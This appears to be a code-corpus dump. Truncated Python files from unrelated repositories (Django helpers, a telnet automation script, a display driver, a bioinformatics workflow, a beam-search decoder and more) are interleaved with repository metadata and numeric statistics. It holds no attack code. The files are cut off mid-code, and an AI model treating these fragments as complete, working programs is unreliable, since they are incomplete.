from __future__ import annotations from abc import ABCMeta, abstractmethod from typing import Dict, Any, List class IRecord(metaclass=ABCMeta): @abstractmethod def to_dict(self) -> Dict[Any, Any]: ... @abstractmethod def to_json(self) -> str: ... @abstractmethod def to_list...
18.526316
40
0.636364
239
0.678977
0
0
188
0.534091
0
0
0
0
c4c366fd382e30c8721cf1d840c44a8f46e40d4d
822
py
Python
mkt/stats/helpers.py
Joergen/zamboni
20a0e22b75cf986aceeb8c4d8c25abb948d97096
[ "BSD-3-Clause" ]
null
null
null
mkt/stats/helpers.py
Joergen/zamboni
20a0e22b75cf986aceeb8c4d8c25abb948d97096
[ "BSD-3-Clause" ]
null
null
null
mkt/stats/helpers.py
Joergen/zamboni
20a0e22b75cf986aceeb8c4d8c25abb948d97096
[ "BSD-3-Clause" ]
1
2021-03-13T00:33:12.000Z
2021-03-13T00:33:12.000Z
from django.utils.http import urlquote from jingo import register import jinja2 from access import acl @register.function @jinja2.contextfunction def check_contrib_stats_perms(context, addon): request = context['request'] if addon.has_author(request.amo_user) or acl.action_allowed(request, 'RevenueS...
23.485714
75
0.717762
0
0
0
0
708
0.861314
0
0
214
0.260341
c4c4d67f988add89a513610e9e3367a81daf5283
593
py
Python
code_examples/package_example/my_scripts/network/connect_telnet.py
natenka/natenka.github.io
74c56be74f2c9b15a4c9b523a1622453ae2064af
[ "MIT" ]
18
2017-02-19T15:58:54.000Z
2022-02-13T22:15:19.000Z
code_examples/package_example/my_scripts/network/connect_telnet.py
natenka/natenka.github.io
74c56be74f2c9b15a4c9b523a1622453ae2064af
[ "MIT" ]
1
2020-02-24T23:14:15.000Z
2020-02-24T23:14:15.000Z
code_examples/package_example/my_scripts/network/connect_telnet.py
natenka/natenka.github.io
74c56be74f2c9b15a4c9b523a1622453ae2064af
[ "MIT" ]
27
2017-05-03T15:38:41.000Z
2022-02-08T02:53:38.000Z
import telnetlib import time def send_command_telnetlib(ipaddress, username, password, enable_pass, command): t = telnetlib.Telnet("192.168.100.1") t.read_until(b"Username:") t.write(username.encode("ascii") + b"\n") t.read_until(b"Password:") t.write(password.encode("ascii") + b"\n") t.writ...
21.178571
80
0.63575
0
0
0
0
0
0
0
0
140
0.236088
c4c5720115308ec3559711c2319791d1086d71cd
837
py
Python
fullstack/migrations/0004_officeholder.py
TylerFisher/full-stack-react
dae5df2b85944e66a9ad0c64cad3e83b7cb1e173
[ "MIT" ]
9
2019-01-26T20:09:24.000Z
2021-02-28T12:09:17.000Z
fullstack/migrations/0004_officeholder.py
dariyamizzou/full-stack-react
dae5df2b85944e66a9ad0c64cad3e83b7cb1e173
[ "MIT" ]
3
2020-02-11T23:49:18.000Z
2021-06-10T21:13:36.000Z
fullstack/migrations/0004_officeholder.py
dariyamizzou/full-stack-react
dae5df2b85944e66a9ad0c64cad3e83b7cb1e173
[ "MIT" ]
1
2019-03-09T18:33:12.000Z
2019-03-09T18:33:12.000Z
# Generated by Django 2.1.5 on 2019-01-27 22:45 from django.db import migrations, models import django.db.models.deletion import uuid class Migration(migrations.Migration): dependencies = [ ('fullstack', '0003_auto_20190127_2223'), ] operations = [ migrations.CreateModel( na...
32.192308
114
0.612903
699
0.835125
0
0
0
0
0
0
175
0.20908
c4c60b936c323211b4cb0582eec9c25e08a076db
8,765
py
Python
tools/evaluate_2D.py
ZJULiHongxin/two-hand-pose-est
e531faacd9cdddcb716b614b832038d079b9663f
[ "MIT" ]
null
null
null
tools/evaluate_2D.py
ZJULiHongxin/two-hand-pose-est
e531faacd9cdddcb716b614b832038d079b9663f
[ "MIT" ]
null
null
null
tools/evaluate_2D.py
ZJULiHongxin/two-hand-pose-est
e531faacd9cdddcb716b614b832038d079b9663f
[ "MIT" ]
null
null
null
from __future__ import absolute_import from __future__ import division from __future__ import print_function import argparse import platform import numpy as np import time import os import torch import torch.backends.cudnn as cudnn import _init_paths from config import cfg from config import update_config from utils...
35.48583
153
0.595893
0
0
0
0
0
0
0
0
2,405
0.274387
c4c6cbab6dda38ae0a7e7c3ca88f87ebfef34635
4,323
py
Python
skyportal/model_util.py
jadalilleboe/skyportal
501b7a09e239f03213499df297620c6a8a214cd9
[ "BSD-3-Clause" ]
1
2022-01-14T10:32:04.000Z
2022-01-14T10:32:04.000Z
skyportal/model_util.py
jadalilleboe/skyportal
501b7a09e239f03213499df297620c6a8a214cd9
[ "BSD-3-Clause" ]
null
null
null
skyportal/model_util.py
jadalilleboe/skyportal
501b7a09e239f03213499df297620c6a8a214cd9
[ "BSD-3-Clause" ]
1
2021-11-28T21:00:02.000Z
2021-11-28T21:00:02.000Z
from social_tornado.models import TornadoStorage from skyportal.models import DBSession, ACL, Role, User, Token, Group from skyportal.enum_types import LISTENER_CLASSES, sqla_enum_types from baselayer.app.env import load_env all_acl_ids = [ 'Become user', 'Comment', 'Annotate', 'Manage users', 'Man...
27.188679
88
0.630118
0
0
0
0
0
0
0
0
1,029
0.238029
c4c7aa58a5a7074c7dc6f26bfd9244c8183f237e
7,909
py
Python
pages/views.py
SmartDataWithR/CovidHelper
21f8c3f3d81da0b5ec32b228c711e96f9d5c168e
[ "MIT" ]
null
null
null
pages/views.py
SmartDataWithR/CovidHelper
21f8c3f3d81da0b5ec32b228c711e96f9d5c168e
[ "MIT" ]
9
2020-03-27T10:33:35.000Z
2022-03-12T00:20:47.000Z
pages/views.py
SmartDataWithR/CovidHelper
21f8c3f3d81da0b5ec32b228c711e96f9d5c168e
[ "MIT" ]
null
null
null
from django.views.generic import TemplateView from ipware import get_client_ip from django.shortcuts import render, redirect from django.contrib import messages from django.contrib.auth.forms import PasswordChangeForm from django.contrib.auth import update_session_auth_hash from django.conf import settings from .forms ...
48.820988
449
0.677709
144
0.018207
0
0
0
0
0
0
3,236
0.409154
c4c7ad4c67500251c669c2383f921ba86cff8d33
1,568
py
Python
image-classification/evaluate_classification.py
rush2406/vipriors-challenges-toolkit
ff2d6b944ff4aebb0d3ec9bb9fb8d8459850ccb6
[ "BSD-3-Clause" ]
56
2020-03-12T19:33:56.000Z
2022-03-10T14:44:43.000Z
image-classification/evaluate_classification.py
rush2406/vipriors-challenges-toolkit
ff2d6b944ff4aebb0d3ec9bb9fb8d8459850ccb6
[ "BSD-3-Clause" ]
42
2020-04-12T10:13:24.000Z
2021-10-11T11:27:24.000Z
image-classification/evaluate_classification.py
rush2406/vipriors-challenges-toolkit
ff2d6b944ff4aebb0d3ec9bb9fb8d8459850ccb6
[ "BSD-3-Clause" ]
20
2020-04-01T11:00:37.000Z
2022-03-04T00:25:42.000Z
""" Use this script to evaluate your model. It stores metrics in the file `scores.txt`. Input: predictions (str): filepath. Should be a file that matches the submission format; groundtruths (str): filepath. Should be an annotation file. Usage: evaluate_classification.py <groundtruths> <predictions> ...
27.034483
81
0.64477
0
0
0
0
0
0
0
0
440
0.280612
c4cd1bca866664aa443fc8b603dcfac8e9e9cf00
353
py
Python
src/118. Pascal's Triangle.py
rajshrivastava/LeetCode
dfe6342fe22b324429b0be3e5c0fef46c7e6b3b0
[ "MIT" ]
1
2019-12-16T08:18:25.000Z
2019-12-16T08:18:25.000Z
src/118. Pascal's Triangle.py
rajshrivastava/LeetCode
dfe6342fe22b324429b0be3e5c0fef46c7e6b3b0
[ "MIT" ]
null
null
null
src/118. Pascal's Triangle.py
rajshrivastava/LeetCode
dfe6342fe22b324429b0be3e5c0fef46c7e6b3b0
[ "MIT" ]
null
null
null
class Solution: def generate(self, numRows: int) -> List[List[int]]: result = [[1]] for i in range(1, numRows): temp = [1] for j in range(1, i): temp.append(result[-1][j-1] + result[-1][j]) temp.append(1) result.append(temp...
27.153846
60
0.450425
352
0.997167
0
0
0
0
0
0
0
0
c4cf02c8517026bb6fefdd3d522f1e274f5ebb1b
3,777
py
Python
__init__.py
j0rd1smit/obsidian-albert-plugin
9f17949bba638bd10e534fc50e89ca0bb63e0bb0
[ "MIT" ]
1
2021-10-29T20:05:23.000Z
2021-10-29T20:05:23.000Z
__init__.py
j0rd1smit/obsidian-albert-plugin
9f17949bba638bd10e534fc50e89ca0bb63e0bb0
[ "MIT" ]
2
2022-02-11T22:06:06.000Z
2022-02-12T09:14:43.000Z
__init__.py
j0rd1smit/obsidian-albert-plugin
9f17949bba638bd10e534fc50e89ca0bb63e0bb0
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """A simple plugin that makes it possible to search your Obsidian vault. This extension makes it possible to search your Obsidian vault. For more information please visit https://github.com/j0rd1smit/obsidian-albert-plugin. Synopsis: ob <query>""" from albert import * import os from time imp...
25.18
150
0.62457
0
0
0
0
0
0
0
0
735
0.194599
c4d015c0bdef8b9975c426fec26024b2031d972d
673
py
Python
py3Server/ClassMate/botResponses.py
GFBryson/myProjects
e7bb5ba825867eb39e95c7870a5d31a7615ccdb9
[ "MIT" ]
1
2019-02-27T07:03:58.000Z
2019-02-27T07:03:58.000Z
py3Server/ClassMate/botResponses.py
GFBryson/myProjects
e7bb5ba825867eb39e95c7870a5d31a7615ccdb9
[ "MIT" ]
1
2017-11-30T08:09:25.000Z
2017-11-30T08:12:52.000Z
py3Server/ClassMate/botResponses.py
GFBryson/myProjects
e7bb5ba825867eb39e95c7870a5d31a7615ccdb9
[ "MIT" ]
1
2017-11-30T08:07:46.000Z
2017-11-30T08:07:46.000Z
class responder(): def resp_hello(): hello=[] hello.append('Hey there "{usr}"! how\'s it going?') hello.append('Hi "{usr}" :grinning:') hello.append('Hello "{usr}", whats up?') hello.append('Hey "{usr}" :wave:,\nHow are you doing?') hello.append('Hi "{usr}"!\nI\'m StrugBot, and I\'m super happy to be here!...
24.925926
80
0.622585
665
0.988113
0
0
0
0
0
0
374
0.555721
c4d099c36b19642df7fc49addbd229bce868b35a
5,433
py
Python
day16.py
luciansmith/adventOfCode
f46ee22aa29b7c0bc1890717463f49664abe3399
[ "MIT" ]
null
null
null
day16.py
luciansmith/adventOfCode
f46ee22aa29b7c0bc1890717463f49664abe3399
[ "MIT" ]
null
null
null
day16.py
luciansmith/adventOfCode
f46ee22aa29b7c0bc1890717463f49664abe3399
[ "MIT" ]
null
null
null
import numpy as np import binascii example = False hexval = "020D74FCE27E600A78020200DC298F1070401C8EF1F21A4D6394F9F48F4C1C00E3003500C74602F0080B1720298C400B7002540095003DC00F601B98806351003D004F66011148039450025C00B2007024717AFB5FBC11A7E73AF60F660094E5793A4E811C0123CECED79104ECED791380069D2522B96A53A81286B18263F75A3...
37.468966
1,347
0.651574
0
0
0
0
0
0
0
0
1,671
0.307565
c4d1976decbf19efd19f6e692e1b54b98d652ff7
2,422
py
Python
List_5/Task_1/instructions.py
Szpila123/Advanced_python_course
cd45506dec621768d59b2245aa0ae30b758160cc
[ "MIT" ]
null
null
null
List_5/Task_1/instructions.py
Szpila123/Advanced_python_course
cd45506dec621768d59b2245aa0ae30b758160cc
[ "MIT" ]
null
null
null
List_5/Task_1/instructions.py
Szpila123/Advanced_python_course
cd45506dec621768d59b2245aa0ae30b758160cc
[ "MIT" ]
null
null
null
import expressions import abc import copy class Instruction(abc.ABC): @abc.abstractmethod def __init__(): ... @abc.abstractmethod def wykonaj(self, zmienne) -> dict[str, int]: '''Evaluate the instruction''' ... @abc.abstractmethod def __str__(self): ... class If(Instruction...
28.833333
153
0.623865
2,365
0.976466
0
0
209
0.086292
0
0
301
0.124277
c4d236eae71088db952059a4c21b0e805b6bad1c
2,228
py
Python
components/icdc-sheepdog/sheepdog/utils/parse.py
CBIIT/icdc-docker
5dc78b96a8d885b3fa427c55b9cc19f4771910fa
[ "Apache-2.0" ]
2
2019-06-10T15:30:51.000Z
2020-01-18T23:24:13.000Z
components/icdc-sheepdog/sheepdog/utils/parse.py
CBIIT/icdc-docker
5dc78b96a8d885b3fa427c55b9cc19f4771910fa
[ "Apache-2.0" ]
null
null
null
components/icdc-sheepdog/sheepdog/utils/parse.py
CBIIT/icdc-docker
5dc78b96a8d885b3fa427c55b9cc19f4771910fa
[ "Apache-2.0" ]
1
2022-03-31T09:52:46.000Z
2022-03-31T09:52:46.000Z
""" TODO """ from collections import Counter import simplejson import yaml import flask from sheepdog.errors import ( UserError, ) def oph_raise_for_duplicates(object_pairs): """ Given an list of ordered pairs, contstruct a dict as with the normal JSON ``object_pairs_hook``, but raise an exception ...
26.52381
78
0.653501
0
0
0
0
0
0
0
0
1,139
0.511221
c4d2c7e50ad2259a426f3b12ba7e12df56ef68ae
298
py
Python
frames/rocket/rocket_frames.py
rkinwork/dvmn_async-console-game
c8072a47a9cac1772c099436c91649ebf544dc70
[ "Unlicense" ]
null
null
null
frames/rocket/rocket_frames.py
rkinwork/dvmn_async-console-game
c8072a47a9cac1772c099436c91649ebf544dc70
[ "Unlicense" ]
null
null
null
frames/rocket/rocket_frames.py
rkinwork/dvmn_async-console-game
c8072a47a9cac1772c099436c91649ebf544dc70
[ "Unlicense" ]
null
null
null
from pathlib import Path def get_rockets_frames(): """Init rocket animation frames.""" frames_files = ['rocket_frame_1.txt', 'rocket_frame_2.txt'] frames = [(Path(__file__).resolve().parent / frame_file_name).read_text() for frame_file_name in frames_files] return tuple(frames)
29.8
114
0.728188
0
0
0
0
0
0
0
0
75
0.251678
c4d337e94d586f1aff49cce9e64e842f4e6c17d0
1,128
py
Python
JuHPLC/views.py
FZJ-INM5/JuHPLC
efaf9b8f5d7f0c9a8ad687d0f143e161f523db7c
[ "Unlicense" ]
1
2018-09-24T06:59:11.000Z
2018-09-24T06:59:11.000Z
JuHPLC/views.py
FZJ-INM5/JuHPLC
efaf9b8f5d7f0c9a8ad687d0f143e161f523db7c
[ "Unlicense" ]
1
2021-02-05T22:23:57.000Z
2021-02-05T22:23:57.000Z
JuHPLC/views.py
FZJ-INM5/JuHPLC
efaf9b8f5d7f0c9a8ad687d0f143e161f523db7c
[ "Unlicense" ]
null
null
null
from JuHPLC.Views.NewChromatogram import * from JuHPLC.SerialCommunication.MicroControllerManager import MicroControllerManager # Create your views here. def index(request): chromatograms = Chromatogram.objects.all().order_by("-Datetime") for i in chromatograms: i.data = HplcData.objects.filter(Chrom...
37.6
117
0.58422
0
0
0
0
0
0
0
0
117
0.103723
c4d49dd9a5d7b29748f177746f4735919de54df6
3,829
py
Python
sequana/datatools.py
vladsaveliev/sequana
f6ee7fa7fb47ec179ceedf24684ba861a244656d
[ "BSD-3-Clause" ]
null
null
null
sequana/datatools.py
vladsaveliev/sequana
f6ee7fa7fb47ec179ceedf24684ba861a244656d
[ "BSD-3-Clause" ]
null
null
null
sequana/datatools.py
vladsaveliev/sequana
f6ee7fa7fb47ec179ceedf24684ba861a244656d
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- # # This file is part of Sequana software # # Copyright (c) 2016 - Sequana Development Team # # File author(s): # Thomas Cokelaer <[email protected]> # Dimitri Desvillechabrol <[email protected]>, # <[email protected]> # # Distributed un...
35.453704
103
0.604074
0
0
0
0
0
0
0
0
1,984
0.518151
c4d694c5a7929d60a82f4266c36fe92a6487d6e2
910
py
Python
example/models.py
nim65s/django-jugemaj
771fb5ddb7ceaa3f6b8aa4178c95ab249a8ed406
[ "BSD-2-Clause" ]
null
null
null
example/models.py
nim65s/django-jugemaj
771fb5ddb7ceaa3f6b8aa4178c95ab249a8ed406
[ "BSD-2-Clause" ]
15
2017-06-08T08:12:36.000Z
2022-03-21T20:03:02.000Z
example/models.py
nim65s/django-jugemaj
771fb5ddb7ceaa3f6b8aa4178c95ab249a8ed406
[ "BSD-2-Clause" ]
null
null
null
"""Django models for the example app.""" from django.db import models from wikidata.client import Client # type: ignore LANGS = ["fr", "en"] # ordered list of langages to check on wikidata class WikiDataModel(models.Model): """A django model to represent something available on wikidata.""" name = models...
30.333333
83
0.657143
713
0.783516
0
0
156
0.171429
0
0
384
0.421978
c4d859124d413014c3e68fa4b2d4e0363025ecc6
79
py
Python
build_tests/python_opencv.py
AustinSchuh/971-Robot-Code
99abc66fd2d899c0bdab338dc6f57dc5def9be8d
[ "Apache-2.0" ]
39
2021-06-18T03:22:30.000Z
2022-03-21T15:23:43.000Z
build_tests/python_opencv.py
AustinSchuh/971-Robot-Code
99abc66fd2d899c0bdab338dc6f57dc5def9be8d
[ "Apache-2.0" ]
10
2021-06-18T03:22:19.000Z
2022-03-18T22:14:15.000Z
build_tests/python_opencv.py
AustinSchuh/971-Robot-Code
99abc66fd2d899c0bdab338dc6f57dc5def9be8d
[ "Apache-2.0" ]
4
2021-08-19T19:20:04.000Z
2022-03-08T07:33:18.000Z
#!/usr/bin/python3 import cv2 if __name__ == '__main__': cv2.SIFT_create()
11.285714
26
0.683544
0
0
0
0
0
0
0
0
28
0.35443
c4d91f431add3c50639d5dcc111d7ed136e9e222
1,096
py
Python
tests/pytorch_pfn_extras_tests/training_tests/extensions_tests/test_print_report_notebook.py
yasuyuky/pytorch-pfn-extras
febea6ded644d3b7a099ac557f06567a04b3b838
[ "MIT" ]
243
2020-05-12T01:15:46.000Z
2022-03-21T22:07:57.000Z
tests/pytorch_pfn_extras_tests/training_tests/extensions_tests/test_print_report_notebook.py
yasuyuky/pytorch-pfn-extras
febea6ded644d3b7a099ac557f06567a04b3b838
[ "MIT" ]
495
2020-05-12T06:45:12.000Z
2022-03-31T07:14:02.000Z
tests/pytorch_pfn_extras_tests/training_tests/extensions_tests/test_print_report_notebook.py
yasuyuky/pytorch-pfn-extras
febea6ded644d3b7a099ac557f06567a04b3b838
[ "MIT" ]
37
2020-05-12T02:16:07.000Z
2021-08-11T06:00:16.000Z
import io import pytest import pytorch_pfn_extras as ppe from pytorch_pfn_extras.training.extensions import _ipython_module_available from pytorch_pfn_extras.training.extensions.log_report import _pandas_available @pytest.mark.skipif( not _ipython_module_available or not _pandas_available, reason="print rep...
29.621622
79
0.702555
0
0
0
0
808
0.737226
0
0
153
0.139599
c4d94b82e516bfce1860e1958db385ce1c937172
2,012
py
Python
examples/python/00-list-devices.py
vishal-prgmr/tiscamera
0960b3d0fc87e784e63d12aab6badccde566813d
[ "Apache-2.0" ]
null
null
null
examples/python/00-list-devices.py
vishal-prgmr/tiscamera
0960b3d0fc87e784e63d12aab6badccde566813d
[ "Apache-2.0" ]
null
null
null
examples/python/00-list-devices.py
vishal-prgmr/tiscamera
0960b3d0fc87e784e63d12aab6badccde566813d
[ "Apache-2.0" ]
1
2019-07-15T07:51:04.000Z
2019-07-15T07:51:04.000Z
#!/usr/bin/env python3 # Copyright 2017 The Imaging Source Europe GmbH # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by a...
31.4375
80
0.656064
0
0
0
0
0
0
0
0
1,273
0.632704
c4d963d3c3b56154e5edbed53e3b10e518fd66e7
2,260
py
Python
regression/sgd.py
sahitpj/MachineLearning
2ce5a337ec432daff64a216df6847ef834bcb8d7
[ "MIT" ]
2
2019-01-23T15:51:29.000Z
2019-02-01T16:50:33.000Z
regression/sgd.py
sahitpj/MachineLearning
2ce5a337ec432daff64a216df6847ef834bcb8d7
[ "MIT" ]
null
null
null
regression/sgd.py
sahitpj/MachineLearning
2ce5a337ec432daff64a216df6847ef834bcb8d7
[ "MIT" ]
null
null
null
from .linear_torch import TorchGradientDescentAutogradRegression import torch, math, random class stochasticGradientDescent(TorchGradientDescentAutogradRegression): def __init__(self, X, Y, alpha, **kwargs): super(stochasticGradientDescent, self).__init__(X, Y, alpha, **kwargs) try: h ...
33.235294
96
0.581858
2,167
0.95885
0
0
0
0
0
0
145
0.064159
c4daf560e5af757855362756ff7ad96e183b2138
11,798
py
Python
pystratis/api/node/tests/test_node.py
TjadenFroyda/pyStratis
9cc7620d7506637f8a2b84003d931eceb36ac5f2
[ "MIT" ]
8
2021-06-30T20:44:22.000Z
2021-12-07T14:42:22.000Z
pystratis/api/node/tests/test_node.py
TjadenFroyda/pyStratis
9cc7620d7506637f8a2b84003d931eceb36ac5f2
[ "MIT" ]
2
2021-07-01T11:50:18.000Z
2022-01-25T18:39:49.000Z
pystratis/api/node/tests/test_node.py
TjadenFroyda/pyStratis
9cc7620d7506637f8a2b84003d931eceb36ac5f2
[ "MIT" ]
4
2021-07-01T04:36:42.000Z
2021-09-17T10:54:19.000Z
import pytest import ast from pytest_mock import MockerFixture from pystratis.api.node import Node from pystratis.api.node.responsemodels import * from pystratis.api import FullNodeState, FeatureInitializationState, LogRule from pystratis.core.networks import StraxMain, CirrusMain @pytest.mark.parametrize('network', ...
34.296512
121
0.653416
0
0
0
0
11,468
0.972029
0
0
2,599
0.220292
c4dc19d5ba016b2467c209f8659fe6f4ccf38d21
1,719
py
Python
imapper/pose/confidence.py
amonszpart/iMapper
f8a1f7972548fc3759fdb67bcd186aaf7ac3ce49
[ "Apache-2.0" ]
18
2019-11-29T14:51:30.000Z
2022-03-26T17:04:04.000Z
imapper/pose/confidence.py
amonszpart/iMapper
f8a1f7972548fc3759fdb67bcd186aaf7ac3ce49
[ "Apache-2.0" ]
null
null
null
imapper/pose/confidence.py
amonszpart/iMapper
f8a1f7972548fc3759fdb67bcd186aaf7ac3ce49
[ "Apache-2.0" ]
2
2019-08-02T14:59:23.000Z
2019-10-27T14:23:27.000Z
import numpy as np def get_conf_thresholded(conf, thresh_log_conf, dtype_np): """Normalizes a confidence score to (0..1). Args: conf (float): Unnormalized confidence. dtype_np (type): Desired return type. Returns: confidence (np.float32): Norma...
27.725806
75
0.578243
0
0
0
0
0
0
0
0
662
0.385108
c4dc5f0661f1b298f41b5c9d7c600c79ade6c896
3,028
py
Python
notes/lessons/lesson_1/dog_breed.py
jpenna/course-v3
492823b8a5981306bb2f78951b24786ea8d70b83
[ "Apache-2.0" ]
null
null
null
notes/lessons/lesson_1/dog_breed.py
jpenna/course-v3
492823b8a5981306bb2f78951b24786ea8d70b83
[ "Apache-2.0" ]
null
null
null
notes/lessons/lesson_1/dog_breed.py
jpenna/course-v3
492823b8a5981306bb2f78951b24786ea8d70b83
[ "Apache-2.0" ]
null
null
null
from fastai.vision import * from fastai.metrics import error_rate # First model using pet images ########################### ####### Get dataset ####### ########################### # Batch size bs = 64 # help(untar_data) # print(URLs.PETS) # URLs.PETS = https://s3.amazonaws.com/fast-ai-imageclas/oxford-iiit-pet #...
22.264706
87
0.634412
0
0
0
0
0
0
0
0
1,437
0.474571
c4df8a6e7325fdd395e4ab3a661e80f967f7ad2e
10,343
py
Python
Day 1/Demos/ili934xnew.py
thingslu/IoT-Bootcamp
f349af47e0edf716656232b4dbec57d4838263bb
[ "MIT" ]
null
null
null
Day 1/Demos/ili934xnew.py
thingslu/IoT-Bootcamp
f349af47e0edf716656232b4dbec57d4838263bb
[ "MIT" ]
null
null
null
Day 1/Demos/ili934xnew.py
thingslu/IoT-Bootcamp
f349af47e0edf716656232b4dbec57d4838263bb
[ "MIT" ]
null
null
null
""" Copyright (c) 2017 Jeffrey N. Magee https://github.com/jeffmer/micropython-ili9341 Jan 6, 2018 MIT License https://github.com/jeffmer/micropython-ili9341/blob/master/LICENSE """ # This is an adapted version of the ILI934X driver as below. # It works with multiple fonts and also works with the esp32 H/W SPI implem...
34.708054
100
0.552258
8,191
0.791937
0
0
0
0
0
0
1,860
0.179832
c4dfc7b426b8d7320aaf8852d42369736bd0a993
7,391
py
Python
code/workflow/run_hpc_het.py
vtphan/HeteroplasmyWorkflow
cb5229b5331ac0c2ccc7b3b75c30cc81a377779e
[ "MIT" ]
1
2019-09-03T06:30:40.000Z
2019-09-03T06:30:40.000Z
code/workflow/run_hpc_het.py
vtphan/HeteroplasmyWorkflow
cb5229b5331ac0c2ccc7b3b75c30cc81a377779e
[ "MIT" ]
null
null
null
code/workflow/run_hpc_het.py
vtphan/HeteroplasmyWorkflow
cb5229b5331ac0c2ccc7b3b75c30cc81a377779e
[ "MIT" ]
null
null
null
import subprocess import os import sys import datetime import random from configparser import ConfigParser from datetime import datetime import s03_heteroplasmy_likelihood, s04_sort_candidates, s05_select_sites, s06_location_conservation import multiprocessing def check_exist(cmd, thing): try: subprocess.c...
33.748858
216
0.576647
0
0
0
0
0
0
0
0
2,523
0.341361
c4e1556612a7d26fd5a293cb1615148692fb9547
3,700
py
Python
airflow/providers/siasg/dw/transfers/relatorio_para_mongo.py
CarlosAdp/airflow-providers-siasg
9230e8b883797f70610a0ec11def4cb04ba4a4c2
[ "MIT" ]
1
2021-12-15T14:57:44.000Z
2021-12-15T14:57:44.000Z
airflow/providers/siasg/dw/transfers/relatorio_para_mongo.py
CarlosAdp/airflow-providers-siasg
9230e8b883797f70610a0ec11def4cb04ba4a4c2
[ "MIT" ]
null
null
null
airflow/providers/siasg/dw/transfers/relatorio_para_mongo.py
CarlosAdp/airflow-providers-siasg
9230e8b883797f70610a0ec11def4cb04ba4a4c2
[ "MIT" ]
null
null
null
from datetime import datetime from typing import Any, List import json import tempfile from airflow.models.baseoperator import BaseOperator from airflow.providers.mongo.hooks.mongo import MongoHook import pandas from airflow.providers.siasg.dw.hooks.dw import DWSIASGHook class DWSIASGRelatorioParaMongoOperator(Base...
32.173913
78
0.638378
3,442
0.925518
0
0
0
0
0
0
1,119
0.300887
c4e242f124dafd4c1bd85becaad0bedaf0cf455b
5,422
py
Python
utils/extractor.py
nwoodward/twarc
4c7ff253ffdfd46a493ca1fcd75e6446667ae832
[ "MIT" ]
20
2019-12-31T17:30:16.000Z
2022-03-20T20:14:16.000Z
utils/extractor.py
nwoodward/twarc
4c7ff253ffdfd46a493ca1fcd75e6446667ae832
[ "MIT" ]
2
2020-04-17T16:22:55.000Z
2020-06-20T16:05:03.000Z
utils/extractor.py
nwoodward/twarc
4c7ff253ffdfd46a493ca1fcd75e6446667ae832
[ "MIT" ]
6
2019-01-16T17:51:31.000Z
2021-08-21T20:29:13.000Z
#!/usr/bin/env python3 from datetime import datetime import json import os import re import argparse import csv import copy import sys import gzip strptime = datetime.strptime class attriObject: """Class object for attribute parser.""" def __init__(self, string): self.value = re.split(":", string) ...
39.576642
214
0.563445
907
0.167281
293
0.054039
0
0
0
0
1,349
0.248801
c4e35d0568d412ee0973197494e60b17e7aa1939
2,143
py
Python
scripts/bsvDeps.py
mhrtmnn/BSVTools
a42b84de5f7a6bc501467a24d3b35e85f670e50c
[ "MIT" ]
7
2021-02-02T01:33:26.000Z
2022-02-19T18:20:57.000Z
scripts/bsvDeps.py
mhrtmnn/BSVTools
a42b84de5f7a6bc501467a24d3b35e85f670e50c
[ "MIT" ]
11
2021-01-07T11:32:05.000Z
2022-01-13T11:21:03.000Z
scripts/bsvDeps.py
mhrtmnn/BSVTools
a42b84de5f7a6bc501467a24d3b35e85f670e50c
[ "MIT" ]
10
2020-11-12T21:00:54.000Z
2021-12-07T22:03:46.000Z
#!/usr/bin/python3 import sys import glob import os import re def main(): directory = sys.argv[1] builddir = sys.argv[2] extra_module = "" if(len(sys.argv) > 3): extra_module = sys.argv[3] projectModules = {} for filename in glob.glob(os.path.join(directory, '*.bsv')): m = re.m...
31.057971
134
0.508166
0
0
0
0
0
0
0
0
319
0.148857
c4e39bd0b50f48ac5a5b147ee2436c04ced95c90
23,756
py
Python
neuralmonkey/decoders/beam_search_decoder.py
kasnerz/neuralmonkey
3552c79a32d24017440e17a0545f33014b66bb12
[ "BSD-3-Clause" ]
null
null
null
neuralmonkey/decoders/beam_search_decoder.py
kasnerz/neuralmonkey
3552c79a32d24017440e17a0545f33014b66bb12
[ "BSD-3-Clause" ]
null
null
null
neuralmonkey/decoders/beam_search_decoder.py
kasnerz/neuralmonkey
3552c79a32d24017440e17a0545f33014b66bb12
[ "BSD-3-Clause" ]
null
null
null
"""Beam search decoder. This module implements the beam search algorithm for autoregressive decoders. As any autoregressive decoder, this decoder works dynamically, which means it uses the ``tf.while_loop`` function conditioned on both maximum output length and list of finished hypotheses. The beam search decoder us...
40.332767
79
0.641985
22,060
0.928608
0
0
1,772
0.074592
0
0
11,804
0.496885
c4e3f0031795840237e6c42c72c6980d42b2396d
926
py
Python
setup.py
CBDRH/cdeid
bd3d94f98a61d876b5630ab80a655fd9ce46730c
[ "Apache-2.0" ]
null
null
null
setup.py
CBDRH/cdeid
bd3d94f98a61d876b5630ab80a655fd9ce46730c
[ "Apache-2.0" ]
null
null
null
setup.py
CBDRH/cdeid
bd3d94f98a61d876b5630ab80a655fd9ce46730c
[ "Apache-2.0" ]
null
null
null
from setuptools import setup, find_packages with open('README.md', "r") as f: readme = f.read() with open('LICENSE') as f: license_content = f.read() setup( name='cdeid', version='0.1.2', author='Leibo Liu', author_email='[email protected]', description='A Customized De-identification fr...
27.235294
61
0.610151
0
0
0
0
0
0
0
0
413
0.446004
c4e5659911ab0a62801300dec90e8ce55a3d300b
5,821
py
Python
pylib/bbl_ingest.py
rafelafrance/sightings-database
cc4bea9d2754234c6a09732988aceeb929957e99
[ "MIT" ]
4
2018-10-19T15:04:21.000Z
2021-07-26T12:07:01.000Z
pylib/bbl_ingest.py
rafelafrance/sightings-database
cc4bea9d2754234c6a09732988aceeb929957e99
[ "MIT" ]
1
2018-10-23T21:00:21.000Z
2018-10-24T15:06:58.000Z
pylib/bbl_ingest.py
rafelafrance/sightings-database
cc4bea9d2754234c6a09732988aceeb929957e99
[ "MIT" ]
2
2018-08-08T17:08:57.000Z
2019-04-04T15:13:55.000Z
"""Ingest USGS Bird Banding Laboratory data.""" from pathlib import Path import pandas as pd from . import db, util DATASET_ID = 'bbl' RAW_DIR = Path('data') / 'raw' / DATASET_ID BANDING = RAW_DIR / 'Banding' ENCOUNTERS = RAW_DIR / 'Encounters' RECAPTURES = RAW_DIR / 'Recaptures' SPECIES = RAW_DIR / 'species.html' ...
29.39899
77
0.641986
0
0
0
0
0
0
0
0
1,867
0.320735
c4e58b861bb09eed1abcd83a5bccb57c68b95882
5,212
py
Python
